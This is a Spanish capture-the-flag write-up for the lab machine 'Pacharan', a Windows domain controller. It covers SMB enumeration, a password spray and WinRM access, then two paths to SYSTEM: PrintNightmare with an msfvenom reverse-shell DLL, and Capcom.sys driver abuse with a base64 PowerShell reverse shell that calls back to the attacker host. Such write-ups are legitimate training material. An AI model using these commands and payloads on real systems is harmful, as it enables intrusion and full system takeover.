Pacharan – TheHackersLabs Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: TheHackersLabs
Resumen Link to heading
“Pacharan” es una máquina de dificultad fácil de la plataforma TheHackersLabs
. Un login como un usuario anónimo nos permite filtrar información necesaria dentro del sistema acerca de potenciales usuarios y contraseñas. Esto nos permite ganar acceso a la máquina víctima con un usuario que tiene el privilegio SeLoadDriverPrivilege
. Este privilegio puede ser usado para escalar privilegios y tener control absoluto sobre el sistema.
User / Usuario Link to heading
Empezando con un escaneo con Nmap
muestra múltiples puertos abiertos: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
SMB
, 5985
WinRM
; entre otros:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49669,49670,49671,49672,49675,49681,49688 192.168.69.69 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-17 05:56 -03
Nmap scan report for 192.168.69.69
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-17 03:57:17Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PACHARAN.THL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PACHARAN.THL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:F9:EA:71 (Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-VRU3GG3DPLJ; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-17T03:58:11
|_ start_date: 2024-09-17T03:46:38
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: -5h00m01s
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f9:ea:71 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.14 seconds
Para extraer información del sistema, corremos enum4linux-ng
(el cual puede ser descargado desde su repositorio de Github). Si intentamos obtener información con una sesión de usuario guest
, obtenemos:
❯ python3 /home/gunzf0x/GitStuff/enum4linux-ng/enum4linux-ng.py 192.168.69.69 -u 'guest' -p ''
ENUM4LINUX - next generation
==========================
| Target Information |
==========================
[*] Target ........... 192.168.69.69
[*] Username ......... 'guest'
[*] Random Username .. 'zgjzuauv'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=====================================
| Service Scan on 192.168.69.69 |
=====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
=====================================================
| Domain Information via LDAP for 192.168.69.69 |
=====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: PACHARAN.THL
<SNIP>
============================================================
| Domain Information via SMB session for 192.168.69.69 |
============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: WIN-VRU3GG3DPLJ
NetBIOS domain name: PACHARAN
DNS domain: PACHARAN.THL
FQDN: WIN-VRU3GG3DPLJ.PACHARAN.THL
Derived membership: domain member
Derived domain: PACHARAN
<SNIP>
donde puedo ver un dominio: PACHARAN.THL
.
Revisando los recursos compartidos que podemos leer como el usuario guest
usando la herramienta NetExec
tenemos:
❯ netexec smb 192.168.69.69 -u 'guest' -p '' --shares
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False)
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [+] PACHARAN.THL\guest:
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [*] Enumerated shares
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ Share Permissions Remark
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ ----- ----------- ------
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ ADMIN$ Admin remota
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ C$ Recurso predeterminado
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ IPC$ READ IPC remota
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ NETLOGON Recurso compartido del servidor de inicio de sesión
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ NETLOGON2 READ
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ PACHARAN
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ PDF Pro Virtual Printer Soy Hacker y arreglo impresoras
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ print$ Controladores de impresora
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ SYSVOL Recurso compartido del servidor de inicio de sesión
De aquí, noot que el recurso NETLOGON2
no es un recurso usual.
Si revisamos este recurso compartido con smbclient
, podemos ver:
❯ smbclient -U guest% //192.168.69.69/NETLOGON2
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 31 13:25:34 2024
.. D 0 Wed Jul 31 13:25:34 2024
Orujo.txt A 22 Wed Jul 31 13:25:55 2024
7735807 blocks of size 4096. 4721853 blocks available
smb: \> get Orujo.txt
getting file \Orujo.txt of size 22 as Orujo.txt (7.2 KiloBytes/sec) (average 7.2 KiloBytes/sec)
Donde somos capaces de descargar un archivo llamado Orujo.txt
.
Leyendo su contenido nos retorna:
❯ cat Orujo.txt
Pericodelospalotes6969
lo cual parece una contraseña.
Dado que Orujo
se ve como un usuario y Pericodelospalotes6969
se ve como una contraseña, podemos chequear si estas credenciales son válidas a través del servicio SMB
con NetExec
:
❯ netexec smb 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969'
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False)
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [+] PACHARAN.THL\orujo:Pericodelospalotes6969
Podemos entonces revisar si tenemos nuevos recursos compartidos para leer como este nuevo usuario:
❯ netexec smb 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' --shares --filter-shares READ
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False)
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [+] PACHARAN.THL\orujo:Pericodelospalotes6969
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [*] Enumerated shares
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ Share Permissions Remark
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ ----- ----------- ------
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ IPC$ READ IPC remota
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ NETLOGON READ Recurso compartido del servidor de inicio de sesión
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ PACHARAN READ
Podemos leer el recurso compartido PACHARAN
.
Usando smbmap
en este nuevo recurso muestra un archivo:
❯ smbmap -H 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' -r 'PACHARAN' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.69.69:445 Name: 192.168.69.69 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Admin remota
C$ NO ACCESS Recurso predeterminado
IPC$ READ ONLY IPC remota
NETLOGON READ ONLY Recurso compartido del servidor de inicio de sesión
NETLOGON2 NO ACCESS
PACHARAN READ ONLY
./PACHARAN
dr--r--r-- 0 Wed Jul 31 13:21:13 2024 .
dr--r--r-- 0 Wed Jul 31 13:21:13 2024 ..
fr--r--r-- 921 Wed Jul 31 13:21:13 2024 ah.txt
PDF Pro Virtual Printer NO ACCESS Soy Hacker y arreglo impresoras
print$ NO ACCESS Controladores de impresora
SYSVOL NO ACCESS Recurso compartido del servidor de inicio de sesión
Users NO ACCESS
[*] Closed 1 connections
Descargamos este archivo usando la flag --download
:
❯ smbmap -H 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' --download 'PACHARAN/ah.txt' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: PACHARAN\ah.txt (921 bytes)
[+] File output to: /home/gunzf0x/OtherMachines/TheHackersLabs/Pacharan/nmap/192.168.69.69-PACHARAN_ah.txt
[*] Closed 1 connections
Si leemos este nuevo archivo, este parece contener una lista de potenciales contraseñas:
❯ cat 192.168.69.69-PACHARAN_ah.txt
Mamasoystreamer1!
Mamasoystreamer2@
Mamasoystreamer3#
Mamasoystreamer4$
Mamasoystreamer5%
Mamasoystreamer6^
Mamasoystreamer7&
<SNIP>
MamasoyStr5amer%
MamasoyStr6amer^
MamasoyStr7amer&
MamasoyStr8amer*
MamasoyStr9amer(
MamasoyStr10amer)
Mamasoystreamer1
Podemos entonces usar el servicio Microsoft RPC
junto con la herramienta rpcclient
y el comando enumdomusers
para enumerar usuarios en sl sistema. Aplicando algunos filtros, podemos obtener los usuarios corriendo:
❯ rpcclient -U "Whisky%MamasoyStream2er@" 192.168.69.69 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'
Administrador
Invitado
krbtgt
DefaultAccount
Orujo
Ginebra
Whisky
Hendrick
Chivas Regal
Whisky2
JB
Chivas
beefeater
CarlosV
RedLabel
Gordons
Podemos entonces intentar un Password Spray
(es decir, ir probando para cada usuario la primera contraseña, luego pasamos a la siguiente contraseña y la probamos con todos los usuarios, y así…) contra estos potenciales usuarios. Creamos una lista de potenciales usuarios usando el output de rpcclient
:
❯ rpcclient -U "Whisky%MamasoyStream2er@" 192.168.69.69 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}' > potential_users.txt
Luego, intentamos un Password Spray
contra los usuarios encontrados usando la lista de contraseñas encontrada NetExec
:
❯ netexec smb 192.168.69.69 -u potential_users.txt -p ah.txt --continue-on-success | grep '\[+\]'
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [+] PACHARAN.THL\Whisky:MamasoyStream2er@
Y obtenemos credenciales: Whisky:MamasoyStream2er@
.
Recuerdo, además, de los recursos compartidos de SMB
, que uno de los recursos compartidos hacía alusión a una impresora. Podemos revisar usando nuevamente el servicio Microsoft RPC
junto con rpcclient
:
❯ rpcclient -U "Whisky%MamasoyStream2er@" 192.168.69.69 -c 'enumprinters'
flags:[0x800000]
name:[\\192.168.69.69\Soy Hacker y arreglo impresoras]
description:[\\192.168.69.69\Soy Hacker y arreglo impresoras,Universal Document Converter,TurkisArrusPuchuchuSiu1]
comment:[Soy Hacker y arreglo impresoras]
donde puedo ver una potencial nueva contraseña: TurkisArrusPuchuchuSiu1
.
Revisamos entonces si uno de los usuarios que tenemos es válido para esta potencial contraseña:
❯ netexec smb 192.168.69.69 -u potential_users.txt -p 'TurkisArrusPuchuchuSiu1' | grep '\[+\]'
SMB 192.168.69.69 445 WIN-VRU3GG3DPLJ [+] PACHARAN.THL\Chivas Regal:TurkisArrusPuchuchuSiu1
y tenemos credenciales válidas: Chivas Regal:TurkisArrusPuchuchuSiu1
.
Podemos revisar si este usuario se puede loguear a través del servicio WinRM
:
❯ netexec winrm 192.168.69.69 -u 'Chivas Regal' -p 'TurkisArrusPuchuchuSiu1'
WINRM 192.168.69.69 5985 WIN-VRU3GG3DPLJ [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL)
WINRM 192.168.69.69 5985 WIN-VRU3GG3DPLJ [+] PACHARAN.THL\Chivas Regal:TurkisArrusPuchuchuSiu1 (Pwn3d!)
y podemos.
Podemos finalmente conectarnos como este usuario con la herramienta evil-winrm
:
❯ evil-winrm -i 192.168.69.69 -u 'Chivas Regal' -p 'TurkisArrusPuchuchuSiu1'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents>
y leer la flag en el directorio Desktop
de este usuario.
NT Authority/System - Administrator Link to heading
Encontramos 2 maneras de ganar total control del sistema.
Privesc #1: Usar PrintNightmare
Link to heading
Ya que en la intrusión vimos una impresora, podemos revisar si este sistema es vulnerable a CVE-2021-34527, también conocido como PrintNightmare
. Para revisar si es vulnerable (o no), podemos ejecutar:
❯ impacket-rpcdump @192.168.69.69 | grep -E 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Donde los protocolos MS-PAR
y MS-RPRN
están habilitados. Esto es una buena señal.
Luego, y dado que tenemos una sesión de Powershell
con evil-winrm
, podemos usar este módulo de Powershell para PrintNightmare. Ya descargado en nuestra máquina de atacante, lo subimos a la máquina víctima usando la función upload
de evil-winrm
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload CVE-2021-34527.ps1 .\printNightmare.ps1
Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Pacharan/exploits/CVE-2021-34527.ps1 to C:\Users\Chivas Regal\Documents\.\printNightmare.ps1
Data: 238084 bytes of 238084 bytes copied
Info: Upload successful!
e importamos/cargamos el módulo:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Import-Module .\printNightmare.ps1
Una vez cargado e importado, trato de crear un usuario administrador usando este exploit:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "gunzf0x" -NewPassword "gunzf0x123$!"
[+] created payload at C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\mxdwdrv.dll"
[+] added user gunzf0x as local administrator
[+] deleting payload from C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll
Según el output del programa, esto funcionó. No obstante, si reviso usuarios en el sistema mi usuario no ha sido creado:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> net user
Cuentas de usuario de \\
-------------------------------------------------------------------------------
Administrador beefeater CarlosV
Chivas Chivas Regal DefaultAccount
Ginebra Gordons Hendrick
Invitado JB krbtgt
Orujo RedLabel Whisky
Whisky2
El comando se ha completado con uno o m s errores.
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> net localgroup administradores
Nombre de alias administradores
Comentario Los administradores tienen acceso completo y sin restricciones al equipo o dominio
Miembros
-------------------------------------------------------------------------------
Administrador
Administradores de empresas
Admins. del dominio
Se ha completado el comando correctamente.
Trato, además, de correr el script con las opciones por “defecto” (lo que creará un usuario administrador con credenciales adm1n:P@ssw0rd
). Pero, de nuevo, aunque el output diga que esto funcionó, el usuario adm1n
es creado pero no es agregado al grupo Administradores
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\mxdwdrv.dll"
[+] added user as local administrator
[+] deleting payload from C:\Users\Chivas Regal\AppData\Local\Temp\nightmare.dll
Sospecho que esto debe ser por algo relacionado con el idioma al español del sistema (cambiando el grupo en inglés administrators
a administradores
en español). Incluso si revisamos el código fuente del módulo .ps1
, no se ve que éste use la palabra administrators
en el script, por lo que cambar “manualmente” el código fuente del script no fue una opción.
Cuando ya parecía todo perdido, si leemos el repositorio de Github del exploit, existe la opción de proveer un archivo .dll
a través de la flag -DLL
para ejecutar este archivo. De esta manera, creamos un archivo .dll
malicioso con msfvenom
en mi máquina de atacante:
❯ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.69.2 LPORT=443 -f dll -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll
donde 192.168.69.2
es mi IP de atacante y 443
es el puerto en el cual me pondré en escucha con netcat
.
De nuevo, subimos el archivo .dll
malicioso a la máquina víctima usando la función upload
de evil-winrm
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload rev.dll
Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Pacharan/exploits/rev.dll to C:\Users\Chivas Regal\Documents\rev.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
Dado que el espacio en el username Chivas Regal
puede causar conflictos a la hora de llamar rutas absolutas, decido copiar este archivo a una ruta la cual no contenga espacios. Basados en la lista proveída por AppLockerBypasses, decido seleccionar la ruta:
C:\Windows\System32\spool\drivers\color
la cual tiene la gracia de ser una ruta que no debería de tener problemas si es que queremos escribir/pasar archivos en ella.
Podemos entonces copiar el archivo .dll
malicioso y pasarlo a esta ruta usando la sesión de evil-winrm
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> copy rev.dll C:\Windows\System32\spool\drivers\color\rev.dll
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> dir C:\Windows\System32\spool\drivers\color
Directorio: C:\Windows\System32\spool\drivers\color
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/16/2016 3:18 PM 1058 D50.camp
-a---- 7/16/2016 3:18 PM 1079 D65.camp
-a---- 7/16/2016 3:18 PM 797 Graphics.gmmp
-a---- 7/16/2016 3:18 PM 838 MediaSim.gmmp
-a---- 7/16/2016 3:18 PM 786 Photo.gmmp
-a---- 7/16/2016 3:18 PM 822 Proofing.gmmp
-a---- 9/17/2024 7:13 AM 9216 rev.dll
-a---- 7/16/2016 3:18 PM 218103 RSWOP.icm
-a---- 7/16/2016 3:18 PM 3144 sRGB Color Space Profile.icm
-a---- 7/16/2016 3:18 PM 17155 wscRGB.cdmp
-a---- 7/16/2016 3:18 PM 1578 wsRGB.cdmp
Empiezo entonces un listener con netcat
en el puerto 443
en mi máquina de atacante:
❯ nc -lvnp 443
listening on [any] 443 ...
En la máquina víctima, ejecuto el archivo .dll
malicioso usando la flag -DLL
junto con el módulo Invoke-Nightmare
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> Invoke-Nightmare -DLL 'C:\Windows\System32\spool\drivers\color\rev.dll'
[+] using user-supplied payload at C:\Windows\System32\spool\drivers\color\rev.dll
[!] ignoring NewUser and NewPassword arguments
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_7b3eed059f4c3e41\Amd64\mxdwdrv.dll"
[!] AddPrinterDriverEx failed
At line:1 char:1
+ Invoke-Nightmare -DLL 'C:\Windows\System32\spool\drivers\color\rev.dl ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorException
+ FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Invoke-Nightmare
Retornó un error. Sin embargo, si reviso mi listener de netcat
obtengo algo:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.69.2] from (UNKNOWN) [192.168.69.69] 58002
Microsoft Windows [Versin 10.0.14393]
(c) 2016 Microsoft Corporation. Todos los derechos reservados.
C:\Windows\system32>whoami
whoami
nt authority\system
Somos el usuario nt authority/system
. GG.
Privesc #2: Usar el privilegio SeLoadDriverPrivilege
Link to heading
Revisando los privilegios del usuario Chivas Regal
, tenemos:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> whoami /priv
INFORMACIàN DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci¢n Estado
============================= =============================================== ==========
SeMachineAccountPrivilege Agregar estaciones de trabajo al dominio Habilitada
SeLoadDriverPrivilege Cargar y descargar controladores de dispositivo Habilitada
SeChangeNotifyPrivilege Omitir comprobaci¢n de recorrido Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada
Somos capaces de ver el privilegio SeLoadDriverPrivilege
habilitado.
Podemos entonces usar este repositorio el cual provee todos los archivos necesarios para explotar este privilegio. Clonamos este repositorio en nuestra máquina de atacante. Luego, paso los archivos a la máquina víctima usando, nuevamente, evil-winrm
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload Capcom.sys C:\Windows\System32\spool\drivers\color\Capcom.sys
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Fuse/exploits/SeLoadDriverPrivilege/Capcom.sys to C:\Windows\System32\spool\drivers\color\Capcom.sys
Data: 14100 bytes of 14100 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> upload ExploitCapcom.exe C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Fuse/exploits/SeLoadDriverPrivilege/ExploitCapcom.exe to C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe
Data: 387752 bytes of 387752 bytes copied
Info: Upload successful!
Luego, cargamos el archivo .sys
usando el comando LOAD
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe LOAD C:\Windows\System32\spool\drivers\color\Capcom.sys
[*] Service Name: aabvavbo
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-3046175042-3013395696-775018414-1108\?????????????????
NTSTATUS: 00000000, WinError: 0
Revisamos si esto ha funcionado probando con el comando whoami
junto con el módulo EXPLOIT
:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe EXPLOIT whoami
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 00000216F7BE0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] Command Executed
nt authority\system
El comando es ejecutado y el output es nt authority/system
. Por ende, estamos ejecutando comandos como este usuario.
Finalmente, podemos ir a la página de Reverse Shell Generator
(https://www.revshells.com/), buscar por un payload de tipo PowerShell #3 (Base64)
, poner nuestra IP de atacante y puerto en escucha con netcat
(los cuales en mi caso son 192.168.69.2
y 443
, respectivamente), y generar un payload. Antes de ejecutar el payload, recordar empezar un listener con netcat
en nuestra máquina de atacante:
❯ nc -lvnp 443
listening on [any] 443 ...
y, por último, ejecutamos el comando abusando del ejecutable ExploitCapcom.exe
en la máquina víctima pasando el payload generado:
*Evil-WinRM* PS C:\Users\Chivas Regal\Documents> C:\Windows\System32\spool\drivers\color\ExploitCapcom.exe EXPLOIT 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADYAOQAuADIAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=='
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000026321830008
[+] Shellcode was executed
[+] Token stealing was successful
[+] Command Executed
Obtenemos una shell como el usuario nt authority/system
en nuestro listener:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.69.2] from (UNKNOWN) [192.168.69.69] 58090
whoami
nt authority\system
PS C:\Users\Chivas Regal\Documents>
Podemos, finalmente, leer la flag del usuario Administrador
en su directorio Desktop
.
~Happy Hacking